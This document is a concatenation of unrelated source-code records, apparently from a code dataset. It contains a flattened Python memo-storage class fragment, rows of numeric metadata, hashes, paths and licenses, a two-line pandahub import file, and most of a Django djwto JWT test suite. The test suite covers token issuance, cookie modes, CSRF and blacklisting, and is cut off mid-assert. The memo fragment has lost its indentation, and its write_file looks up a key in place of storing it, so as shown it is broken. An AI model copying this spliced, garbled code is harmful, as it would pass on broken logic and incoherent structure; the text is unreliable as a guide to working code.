create_if_notexists=False) is not None def get_memo(self, config_lst): assert len(config_lst) > 0 memo = self._get_memo(config_lst, create_if_notexists=False) assert memo is not None return memo def create_memo(self, config_lst): assert not self.is_memo_available(config_lst) memo = self._get_memo(config_lst, create_if_notexists=True) return memo def delete_memo(self, config_lst, abort_if_notexists=True): assert len(config_lst) > 0 parent_memo = self._get_memo(config_lst[:-1]) if parent_memo.is_memo_available(config_lst[-1:]): key = parent_memo._key_from_config(config_lst[-1]) foldername = parent_memo.key_to_foldername[key] cfg_filepath, memo_folderpath = parent_memo._get_memo_paths(foldername) tb_fs.delete_file(cfg_filepath) tb_fs.delete_folder(memo_folderpath) parent_memo.key_to_foldername.pop(key) parent_memo.key_to_memo.pop(key) else: assert not abort_if_notexists def read_file(self, config): key = self._key_from_config(config) filename = self.key_to_filename[key] value_filepath = self._get_file_paths(filename)[1] return tb_io.read_picklefile(value_filepath) def write_file(self, config, value, abort_if_exists=True): key = self._key_from_config(config) assert not abort_if_exists or key not in self.key_to_filename # if it exists, get it from the dictionary. if key not in self.key_to_filename: filename = self._get_unique_filename() filename = self.key_to_filename[key] cfg_filepath, value_filepath = self._get_file_paths(filename) tb_io.write_jsonfile(config, cfg_filepath) tb_io.write_picklefile(value, value_filepath) def delete_file(self, config, abort_if_notexists=True): key = self._key_from_config(config) if key in self.key_to_filename: filename = self.key_to_filename.pop(key) cfg_filepath, value_filepath = self._get_file_paths(filename) tb_fs.delete_file(cfg_filepath) tb_fs.delete_file(value_filepath) else: assert not abort_if_notexists def get_file_configs(self): lst = [] for filename in itervalues(self.key_to_filename): filepath = self._get_file_paths(filename)[0] cfg = tb_io.read_jsonfile(filepath) lst.append(cfg) return lst def get_memo_configs(self): lst = [] for foldername in itervalues(self.key_to_foldername): filepath = self._get_memo_paths(foldername)[0] cfg = tb_io.read_jsonfile(filepath) lst.append(cfg) return lst
41.740223
94
0.642508
1,945
14,943
4.592288
0.080206
0.049373
0.028213
0.024743
0.865652
0.837438
0.794671
0.743059
0.711599
0.6985
0
0.002758
0.272034
14,943
358
95
41.740223
0.818349
0.060497
0
0.771127
0
0
0.031321
0
0
0
0
0
0.077465
1
0.133803
false
0
0.017606
0.035211
0.274648
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
27882bf48b27f4948a2a7033efed0dce4e9fac84
108
py
Python
pandahub/lib/timeseries/__init__.py
e2nIEE/pandahub
4d4abb29f49d32d035120ebea99fb96ba3d44bfc
[ "BSD-3-Clause" ]
4
2022-03-29T08:19:08.000Z
2022-03-30T06:51:24.000Z
pandahub/lib/timeseries/__init__.py
e2nIEE/pandahub
4d4abb29f49d32d035120ebea99fb96ba3d44bfc
[ "BSD-3-Clause" ]
null
null
null
pandahub/lib/timeseries/__init__.py
e2nIEE/pandahub
4d4abb29f49d32d035120ebea99fb96ba3d44bfc
[ "BSD-3-Clause" ]
null
null
null
from pandahub.lib.timeseries import * from pandahub.lib.timeseries.data_sources.mongo_data import MongoData
36
69
0.861111
15
108
6.066667
0.6
0.263736
0.32967
0.549451
0
0
0
0
0
0
0
0
0.074074
108
2
70
54
0.91
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
27a2826d272b393a614796a3f01e66c89626e174
66,872
py
Python
tests/test_views.py
WillianFuks/djwto
303fde0636b05180bd9b60f312c0afd4aea94f5d
[ "MIT" ]
18
2021-06-25T16:26:36.000Z
2022-03-03T15:07:54.000Z
tests/test_views.py
WillianFuks/djwto
303fde0636b05180bd9b60f312c0afd4aea94f5d
[ "MIT" ]
3
2021-06-23T01:09:39.000Z
2021-06-29T18:37:16.000Z
tests/test_views.py
WillianFuks/djwto
303fde0636b05180bd9b60f312c0afd4aea94f5d
[ "MIT" ]
1
2021-06-27T11:00:58.000Z
2021-06-27T11:00:58.000Z
# MIT License # # Copyright (c) 2021 willfuks # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import base64 from calendar import timegm from datetime import datetime, timedelta from importlib import reload import jwt as pyjwt import mock import pytest from django.http.response import JsonResponse from django.middleware.csrf import get_token import djwto.settings as settings import djwto.signals as signals import djwto.tokens as tokens import djwto.views as views from djwto.authentication import WWWAUTHENTICATE from djwto.models import JWTBlacklist @pytest.mark.django_db class TestGetTokensView: CTPL = ('Set-Cookie: {name}={value}; expires={expires}; {http_only}' 'Max-Age={max_age}; Path={path}; SameSite={samesite}; {secure}') VTPL = ( '{{"exp": {exp}, "iat": {iat}, "jti": "uuid", "nbf": {nbf}, ' '"refresh_iat": {refresh_iat}, "type": "{type_}", "user": {{"id": {user_id}, ' '"perms": [], "username": "{username}"}}}}' ) # Test JSON mode creates the token as expected date_ = datetime(2021, 1, 1) d_mock = mock.Mock() d_mock.utcnow.return_value = date_ uuid_ = 'uuid' uuid_mock = mock.Mock() uuid_mock.uuid4.return_value = uuid_ sign_key = 'test' refresh_lifetime = timedelta(days=1) access_lifetime = timedelta(hours=1) nbf_lifetime = timedelta(minutes=1) expected_access_claims = { 'iat': date_, 'exp': date_ + access_lifetime, 'nbf': date_ + nbf_lifetime, 'jti': 'uuid', 'type': 'access', 'user': { 'username': 'alice', 'id': 1, 'perms': [] }, 'refresh_iat': timegm(date_.utctimetuple()) } expected_access_jwt = pyjwt.encode(expected_access_claims, sign_key) expected_refresh_claims = { 'iat': date_, 'exp': date_ + refresh_lifetime, 'nbf': date_ + nbf_lifetime, 'jti': 'uuid', 'type': 'refresh', 'user': { 'username': 'alice', 'id': 1, 'perms': [] } } expected_refresh_jwt = pyjwt.encode(expected_refresh_claims, sign_key) def test_post_with_invalid_user_data(self, rf): reload(settings) # Force a reload as djwto sets the code according to the values available in # `settings`, i.e., if CSRF protection is enabled then the methods are decorated # with specific functions. reload(views) from djwto.views import GetTokensView # Invalid password request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pasas'}) response = GetTokensView.as_view()(request) assert response.content == ( b'{"error": "{\\"__all__\\": [\\"Please enter a correct username and ' b'password. Note that both fields may be case-sensitive.\\"]}"}' ) assert response.headers['WWW-Authenticate'] == WWWAUTHENTICATE assert response.status_code == 401 # Empty input request = rf.post('/api/tokens', {'username': '', 'password': ''}) response = GetTokensView.as_view()(request) assert response.content == ( b'{"error": "{\\"username\\": [\\"This field is required.\\"], ' b'\\"password\\": [\\"This field is required.\\"]}"}' ) assert response.status_code == 401 assert response.headers['WWW-Authenticate'] == WWWAUTHENTICATE def test_post_with_wrong_settings_raises(self, rf): reload(settings) reload(views) from djwto.views import GetTokensView # Issuer must be string settings.DJWTO_ISS_CLAIM = 1 request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) response = GetTokensView.as_view()(request) assert response.content == ( b'{"error": "Failed to process request."}' ) assert response.status_code == 500 settings.DJWTO_ISS_CLAIM = None # Subject must be string settings.DJWTO_SUB_CLAIM = 1 request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) response = GetTokensView.as_view()(request) assert response.content == ( b'{"error": "Failed to process request."}' ) assert response.status_code == 500 settings.DJWTO_SUB_CLAIM = None # Audience must be string settings.DJWTO_AUD_CLAIM = 1 request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) response = GetTokensView.as_view()(request) assert response.content == ( b'{"error": "Failed to process request."}' ) assert response.status_code == 500 settings.DJWTO_AUD_CLAIM = None # Tokens lifetime must be defined as positive timedeltas settings.DJWTO_REFRESH_TOKEN_LIFETIME = 1 request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) response = GetTokensView.as_view()(request) assert response.content == ( b'{"error": "Failed to process request."}' ) assert response.status_code == 500 settings.DJWTO_REFRESH_TOKEN_LIFETIME = timedelta(days=-1) request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) response = GetTokensView.as_view()(request) assert response.content == ( b'{"error": "Failed to process request."}' ) assert response.status_code == 500 settings.DJWTO_REFRESH_TOKEN_LIFETIME = None settings.DJWTO_ACCESS_TOKEN_LIFETIME = timedelta(days=-1) request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) response = GetTokensView.as_view()(request) assert response.content == ( b'{"error": "Failed to process request."}' ) assert response.status_code == 500 settings.DJWTO_ACCESS_TOKEN_LIFETIME = None settings.DJWTO_NBF_LIFETIME = timedelta(days=-1) request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) response = GetTokensView.as_view()(request) assert response.content == ( b'{"error": "Failed to process request."}' ) assert response.status_code == 500 settings.DJWTO_NBF_LIFETIME = None # Mode can only be 'JSON', 'ONE-COOKIE' or 'TWO-COOKIES' settings.DJWTO_MODE = 'invalid test mode' request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) response = GetTokensView.as_view()(request) assert response.content == ( b'{"error": "Failed to process request."}' ) assert response.status_code == 500 def test_post_json_mode(self, rf, monkeypatch): # First set `settings.DJWTO_MODE` properly so when `GetTokensView` is imported # the `_build_decorator` uses the proper function reload(settings) settings.DJWTO_MODE = 'JSON' reload(views) from djwto.views import GetTokensView monkeypatch.setattr('djwto.views.tokens.datetime', self.d_mock) monkeypatch.setattr('djwto.views.tokens.uuid', self.uuid_mock) # Repeteadly sets `settings` locally to guarantee values are as expected settings.DJWTO_SIGNING_KEY = self.sign_key settings.DJWTO_REFRESH_TOKEN_LIFETIME = self.refresh_lifetime settings.DJWTO_ACCESS_TOKEN_LIFETIME = self.access_lifetime settings.DJWTO_NBF_LIFETIME = self.nbf_lifetime request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) response = GetTokensView.as_view()(request) assert response.content == ( f'{{"refresh": "{self.expected_refresh_jwt}", ' f'"access": "{self.expected_access_jwt}"}}' ).encode() assert response.status_code == 200 # Tests scenario where JWT is available in request. This case should return # a 200 status code with no changes in the backend settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JIT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=1) expected_payload = {'exp': exp} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = GetTokensView.as_view()(request) assert response.content == b'{"msg": "User already authenticated."}' assert response.status_code == 200 def test_post_json_mode_sends_signal_on_success(self, rf, monkeypatch): reload(settings) # First set `settings.DJWTO_MODE` properly so when `GetTokensView` is imported # the `_build_decorator` uses the proper function settings.DJWTO_MODE = 'JSON' reload(views) from djwto.views import GetTokensView monkeypatch.setattr('djwto.views.tokens.datetime', self.d_mock) monkeypatch.setattr('djwto.views.tokens.uuid', self.uuid_mock) # Repeteadly sets `settings` locally to guarantee values are as expected settings.DJWTO_SIGNING_KEY = self.sign_key settings.DJWTO_REFRESH_TOKEN_LIFETIME = self.refresh_lifetime settings.DJWTO_ACCESS_TOKEN_LIFETIME = self.access_lifetime settings.DJWTO_NBF_LIFETIME = self.nbf_lifetime handler = mock.Mock() signals.jwt_logged_in.connect(handler, sender='GetTokensView') request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) _ = GetTokensView.as_view()(request) call = handler.call_args.kwargs assert list(call.keys()) == ['signal', 'sender', 'request', 'refresh_claims', 'access_claims'] assert call['sender'] == 'GetTokensView' def test_post_json_mode_sends_signal_on_failure(self, rf): reload(settings) reload(views) from djwto.views import GetTokensView handler = mock.Mock() signals.jwt_login_fail.connect(handler, sender='GetTokensView') # Invalid password request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pasas'}) _ = GetTokensView.as_view()(request) call = handler.call_args.kwargs assert list(call.keys()) == ['signal', 'sender', 'request', 'error'] assert call['sender'] == 'GetTokensView' assert '__all__' in call['error'] def test_post_json_mode_sends_signal_on_settings_failure(self, rf): reload(settings) reload(views) from djwto.views import GetTokensView settings.DJWTO_MODE = 'invalid' handler = mock.Mock() signals.jwt_login_fail.connect(handler, sender='GetTokensView') request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) _ = GetTokensView.as_view()(request) call = handler.call_args.kwargs assert list(call.keys()) == ['signal', 'sender', 'request', 'error'] assert call['sender'] == 'GetTokensView' assert call['error'] == ( 'settings.DJWTO_MODE must be either "JSON", "ONE-COOKIE" or "TWO-COOKIES".' 'Received "invalid" instead.' ) def test_post_one_cookie_mode_ensuring_csrf(self, rf, monkeypatch): reload(settings) settings.DJWTO_MODE = 'ONE-COOKIE' settings.DJWTO_CSRF = True reload(views) from djwto.views import GetTokensView monkeypatch.setattr('djwto.views.tokens.datetime', self.d_mock) monkeypatch.setattr('djwto.views.tokens.uuid', self.uuid_mock) settings.DJWTO_SIGNING_KEY = self.sign_key settings.DJWTO_REFRESH_TOKEN_LIFETIME = self.refresh_lifetime settings.DJWTO_ACCESS_TOKEN_LIFETIME = self.access_lifetime settings.DJWTO_NBF_LIFETIME = self.nbf_lifetime request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) response = GetTokensView.as_view()(request) cookies = dict(response.cookies) refresh = cookies['jwt_refresh'] now = datetime.now() refresh_expires = (now + self.refresh_lifetime).strftime("%a, %d %b %Y %H:%M:%S GMT") assert str(refresh) == self.CTPL.format( name='jwt_refresh', value=self.expected_refresh_jwt, expires=refresh_expires, http_only='HttpOnly; ', max_age=int(self.refresh_lifetime.total_seconds()), path=f'/{settings.DJWTO_REFRESH_COOKIE_PATH}', samesite=settings.DJWTO_SAME_SITE, secure='Secure' ) assert 'csrftoken' in cookies access = cookies['jwt_access'] access_expires = (now + self.access_lifetime).strftime("%a, %d %b %Y %H:%M:%S GMT") assert str(access) == self.CTPL.format( name='jwt_access', value=self.expected_access_jwt, expires=access_expires, http_only='HttpOnly; ', max_age=int(self.access_lifetime.total_seconds()), path='/', samesite=settings.DJWTO_SAME_SITE, secure='Secure' ) # Tests scenario where JWT are available in request. This case should return # a 200 status code with no changes in the backend settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JIT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=1) expected_payload = {'exp': exp} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_access'] = expected_jwt request = rf.post('/api/token') response = GetTokensView.as_view()(request) assert response.content == b'{"msg": "User already authenticated."}' assert response.status_code == 200 def test_post_one_cookie_mode_not_ensuring_csrf(self, rf, monkeypatch): reload(settings) settings.DJWTO_MODE = 'ONE-COOKIE' settings.DJWTO_CSRF = False reload(views) from djwto.views import GetTokensView monkeypatch.setattr('djwto.views.tokens.datetime', self.d_mock) monkeypatch.setattr('djwto.views.tokens.uuid', self.uuid_mock) settings.DJWTO_SIGNING_KEY = self.sign_key settings.DJWTO_REFRESH_TOKEN_LIFETIME = self.refresh_lifetime settings.DJWTO_ACCESS_TOKEN_LIFETIME = self.access_lifetime settings.DJWTO_NBF_LIFETIME = self.nbf_lifetime request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) response = GetTokensView.as_view()(request) cookies = dict(response.cookies) refresh = cookies['jwt_refresh'] now = datetime.now() refresh_expires = (now + self.refresh_lifetime).strftime("%a, %d %b %Y %H:%M:%S GMT") assert str(refresh) == self.CTPL.format( name='jwt_refresh', value=self.expected_refresh_jwt, expires=refresh_expires, http_only='HttpOnly; ', max_age=int(self.refresh_lifetime.total_seconds()), path=f'/{settings.DJWTO_REFRESH_COOKIE_PATH}', samesite=settings.DJWTO_SAME_SITE, secure='Secure' ) assert 'csrftoken' not in cookies access = cookies['jwt_access'] access_expires = (now + self.access_lifetime).strftime("%a, %d %b %Y %H:%M:%S GMT") assert str(access) == self.CTPL.format( name='jwt_access', value=self.expected_access_jwt, expires=access_expires, http_only='HttpOnly; ', max_age=int(self.access_lifetime.total_seconds()), path='/', samesite=settings.DJWTO_SAME_SITE, secure='Secure' ) # Tests scenario where JWT are available in request. This case should return # a 200 status code with no changes in the backend settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JIT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=1) expected_payload = {'exp': exp} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_access'] = expected_jwt request = rf.post('/api/token') response = GetTokensView.as_view()(request) assert response.content == b'{"msg": "User already authenticated."}' assert response.status_code == 200 def test_post_two_cookies_mode_ensuring_csrf(self, rf, monkeypatch): reload(settings) settings.DJWTO_MODE = 'TWO-COOKIES' settings.DJWTO_CSRF = True reload(views) from djwto.views import GetTokensView monkeypatch.setattr('djwto.views.tokens.datetime', self.d_mock) monkeypatch.setattr('djwto.views.tokens.uuid', self.uuid_mock) settings.DJWTO_SIGNING_KEY = self.sign_key settings.DJWTO_REFRESH_TOKEN_LIFETIME = self.refresh_lifetime settings.DJWTO_ACCESS_TOKEN_LIFETIME = self.access_lifetime settings.DJWTO_NBF_LIFETIME = self.nbf_lifetime request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) response = GetTokensView.as_view()(request) cookies = dict(response.cookies) refresh = cookies['jwt_refresh'] now = datetime.now() refresh_expires = (now + self.refresh_lifetime).strftime("%a, %d %b %Y %H:%M:%S GMT") assert 'csrftoken' in cookies assert str(refresh) == self.CTPL.format( name='jwt_refresh', value=self.expected_refresh_jwt, expires=refresh_expires, http_only='HttpOnly; ', max_age=int(self.refresh_lifetime.total_seconds()), path=f'/{settings.DJWTO_REFRESH_COOKIE_PATH}', samesite=settings.DJWTO_SAME_SITE, secure='Secure' ) value = self.VTPL.format( exp=timegm((self.date_ + self.access_lifetime).utctimetuple()), iat=timegm(self.date_.utctimetuple()), nbf=timegm((self.date_ + self.nbf_lifetime).utctimetuple()), refresh_iat=timegm(self.date_.utctimetuple()), type_='access', user_id=1, username='alice' ) value = '"' + base64.b64encode(value.encode()).decode() + '"' access_payload = cookies['jwt_access_payload'] access_expires = (now + self.access_lifetime).strftime("%a, %d %b %Y %H:%M:%S GMT") assert str(access_payload) == self.CTPL.format( name='jwt_access_payload', value=value, expires=access_expires, http_only='', max_age=int(self.access_lifetime.total_seconds()), path='/', samesite=settings.DJWTO_SAME_SITE, secure='Secure' ) access_signature = cookies['jwt_access_token'] assert str(access_signature) == self.CTPL.format( name='jwt_access_token', value=self.expected_access_jwt, expires=access_expires, http_only='HttpOnly; ', max_age=int(self.access_lifetime.total_seconds()), path='/', samesite=settings.DJWTO_SAME_SITE, secure='Secure' ) # Tests scenario where JWT are available in request. This case should return # a 200 status code with no changes in the backend settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JIT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=1) expected_payload = {'exp': exp} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_access_token'] = expected_jwt request = rf.post('/api/token') response = GetTokensView.as_view()(request) assert response.content == b'{"msg": "User already authenticated."}' assert response.status_code == 200 def test_post_two_cookies_mode_not_ensuring_csrf(self, rf, monkeypatch): reload(settings) settings.DJWTO_MODE = 'TWO-COOKIES' settings.DJWTO_CSRF = False reload(views) from djwto.views import GetTokensView monkeypatch.setattr('djwto.views.tokens.datetime', self.d_mock) monkeypatch.setattr('djwto.views.tokens.uuid', self.uuid_mock) settings.DJWTO_SIGNING_KEY = self.sign_key settings.DJWTO_REFRESH_TOKEN_LIFETIME = self.refresh_lifetime settings.DJWTO_ACCESS_TOKEN_LIFETIME = self.access_lifetime settings.DJWTO_NBF_LIFETIME = self.nbf_lifetime request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) response = GetTokensView.as_view()(request) cookies = dict(response.cookies) refresh = cookies['jwt_refresh'] now = datetime.now() refresh_expires = (now + self.refresh_lifetime).strftime("%a, %d %b %Y %H:%M:%S GMT") assert 'csrftoken' not in cookies assert str(refresh) == self.CTPL.format( name='jwt_refresh', value=self.expected_refresh_jwt, expires=refresh_expires, http_only='HttpOnly; ', max_age=int(self.refresh_lifetime.total_seconds()), path=f'/{settings.DJWTO_REFRESH_COOKIE_PATH}', samesite=settings.DJWTO_SAME_SITE, secure='Secure' ) value = self.VTPL.format( exp=timegm((self.date_ + self.access_lifetime).utctimetuple()), iat=timegm(self.date_.utctimetuple()), nbf=timegm((self.date_ + self.nbf_lifetime).utctimetuple()), refresh_iat=timegm(self.date_.utctimetuple()), type_='access', user_id=1, username='alice' ) value = '"' + base64.b64encode(value.encode()).decode() + '"' access_payload = cookies['jwt_access_payload'] access_expires = (now + self.access_lifetime).strftime("%a, %d %b %Y %H:%M:%S GMT") assert str(access_payload) == self.CTPL.format( name='jwt_access_payload', value=value, expires=access_expires, http_only='', max_age=int(self.access_lifetime.total_seconds()), path='/', samesite=settings.DJWTO_SAME_SITE, secure='Secure' ) access_token = cookies['jwt_access_token'] assert str(access_token) == self.CTPL.format( name='jwt_access_token', value=self.expected_access_jwt, expires=access_expires, http_only='HttpOnly; ', max_age=int(self.access_lifetime.total_seconds()), path='/', samesite=settings.DJWTO_SAME_SITE, secure='Secure' ) # Tests scenario where JWT are available in request. This case should return # a 200 status code with no changes in the backend settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JIT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=1) expected_payload = {'exp': exp} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_access_token'] = expected_jwt request = rf.post('/api/token') response = GetTokensView.as_view()(request) assert response.content == b'{"msg": "User already authenticated."}' assert response.status_code == 200 @pytest.mark.django_db class TestBlacklistTokensView: sign_key = 'test' def test_post_returns_error_response(self, rf): reload(settings) reload(views) from djwto.views import BlackListTokenView # Blacklist endpoint defined in a URL that does not contain the path of the # refresh cookie. This case should fail as no refresh cookie can be retrieved # for blacklisting settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' request = rf.post('/api/tokens') response = BlackListTokenView.as_view()(request) assert response.content == ( b'{"error": "Token not found in \\"HTTP_AUTHORIZATION\\" header."}' ) assert response.status_code == 403 # Simulates user logged-in settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JTI_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=1) expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}, 'type': 'access'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = BlackListTokenView.as_view()(request) assert response.content == ( b'{"error": "Refresh token was not sent in authorization header."}' ) assert response.status_code == 403 # If input token doesn't have JTI claim then it fails to blacklist expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}, 'type': 'refresh'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = BlackListTokenView.as_view()(request) assert response.content == ( b'{"error": "No jti claim was available in the input token. The value is ' b'mandatory in order to use the Blacklist API."}' ) assert response.status_code == 403 # Tokens that have already been blacklisted cannot be blacklisted again expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}, 'jti': '1', 'type': 'refresh'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = BlackListTokenView.as_view()(request) assert response.content == ( b'{"error": "Input jti token is already blacklisted."}' ) assert response.status_code == 409 # Test view is protected by CSRF settings.DJWTO_CSRF = True settings.DJWTO_MODE = 'ONE-COOKIE' settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' reload(views) from djwto.views import BlackListTokenView request = rf.post('/api/tokens/refresh') response = BlackListTokenView.as_view()(request) assert b'Forbidden' in response.content assert response.status_code == 403 def test_post_json_mode_with_csrf(self, rf): reload(settings) settings.DJWTO_MODE = 'JSON' settings.DJWTO_CSRF = True reload(views) from djwto.views import BlackListTokenView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=1) expected_payload = {'jti': '2', 'exp': exp, 'user': {'username': 'alice', 'id': 1}, 'type': 'refresh'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = BlackListTokenView.as_view()(request) assert response.content == ( b'{"msg": "Token successfully blacklisted."}' ) assert response.status_code == 200 assert JWTBlacklist.objects.all().count() == 2 assert JWTBlacklist.objects.filter(jti='2').exists() obj = JWTBlacklist.objects.get(jti='2') assert obj.jti == '2' assert obj.token == expected_jwt exp_str = exp.strftime("%Y-%m-%d %H:%M:%S") assert obj.expires.strftime("%Y-%m-%d %H:%M:%S") == exp_str def test_post_json_mode_with_csrf_sends_signal(self, rf, monkeypatch): reload(settings) settings.DJWTO_MODE = 'JSON' settings.DJWTO_CSRF = True reload(views) from djwto.views import BlackListTokenView handler = mock.Mock() signals.jwt_blacklisted.connect(handler, sender='BlackListTokenView') settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=1) expected_payload = {'jti': '2', 'exp': exp, 'user': {'username': 'alice', 'id': 1}, 'type': 'refresh'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' _ = BlackListTokenView.as_view()(request) call = handler.call_args.kwargs assert list(call.keys()) == ['signal', 'sender', 'request', 'jti'] assert call['sender'] == 'BlackListTokenView' def test_delete_json_mode_with_csrf(self, rf): reload(settings) settings.DJWTO_MODE = 'JSON' settings.DJWTO_CSRF = True reload(views) from djwto.views import BlackListTokenView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JTI_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key expected_payload = {'user': {'username': 'alice', 'id': 1}} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) request = rf.delete('/api/tokens/refresh') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = BlackListTokenView.as_view()(request) assert response.content == ( b'{"msg": "No token to delete."}' ) assert response.status_code == 204 def test_post_json_mode_without_csrf(self, rf): reload(settings) settings.DJWTO_MODE = 'JSON' settings.DJWTO_CSRF = False reload(views) from djwto.views import BlackListTokenView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=1) expected_payload = {'jti': '2', 'exp': exp, 'user': {'username': 'alice', 'id': 1}, 'type': 'refresh'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = BlackListTokenView.as_view()(request) assert response.content == ( b'{"msg": "Token successfully blacklisted."}' ) assert response.status_code == 200 assert JWTBlacklist.objects.all().count() == 2 assert JWTBlacklist.objects.filter(jti='2').exists() obj = JWTBlacklist.objects.get(jti='2') assert obj.jti == '2' assert obj.token == expected_jwt exp_str = exp.strftime("%Y-%m-%d %H:%M:%S") assert obj.expires.strftime("%Y-%m-%d %H:%M:%S") == exp_str def test_post_one_cookie_mode_with_csrf(self, rf): reload(settings) settings.DJWTO_MODE = 'ONE-COOKIE' settings.DJWTO_CSRF = True reload(views) from djwto.views import BlackListTokenView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key expected_payload = {'jti': '3', 'user': {'username': 'alice', 'id': 1}} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_refresh'] = expected_jwt rf.cookies['jwt_access'] = 'value access' request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) csrf_token = get_token(request) request.COOKIES['csrftoken'] = csrf_token request.META['HTTP_X_CSRFTOKEN'] = csrf_token response = BlackListTokenView.as_view()(request) assert response.content == ( b'{"msg": "Token successfully blacklisted."}' ) assert response.status_code == 200 assert 